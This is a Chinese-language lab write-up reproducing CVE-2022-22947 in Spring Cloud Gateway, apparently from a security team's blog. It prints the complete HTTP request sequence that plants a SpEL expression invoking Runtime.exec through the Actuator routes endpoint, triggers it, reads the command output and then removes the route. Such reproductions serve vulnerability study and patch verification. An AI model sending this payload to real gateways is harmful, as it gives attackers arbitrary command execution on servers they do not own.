Spring Cloud Gateway Actuator API SpEL 代码注入 (CVE-2022-22947)

Khan安全团队

发布于 2022-04-02 11:09:31

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发布于 2022-04-02 11:09:31

Spring Cloud Gateway 提供了一个库，用于在 Spring WebFlux 之上构建 API 网关。

在 3.1.0 和 3.0.6 之前的版本中使用 Spring Cloud Gateway 的应用程序在启用、暴露和不安全的 Gateway Actuator 端点时容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求，允许在远程主机上进行任意远程执行。

参考：

https://tanzu.vmware.com/security/cve-2022-22947
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

漏洞环境

执行以下命令启动使用 Spring Cloud Gateway 3.1.0 的服务器：

docker-compose up -d

服务器启动后，浏览http://your-ip:8080查看示例页面。

漏洞重现

首先，发送以下请求以添加包含邪恶 SpEL 表达式的路由器：

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

其次，刷新网关路由器。SpEL 表达式将在此步骤中执行：

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

第三，发送以下请求以检索结果：

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

最后，发送一个 DELETE 请求来删除我们的恶意路由器：

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close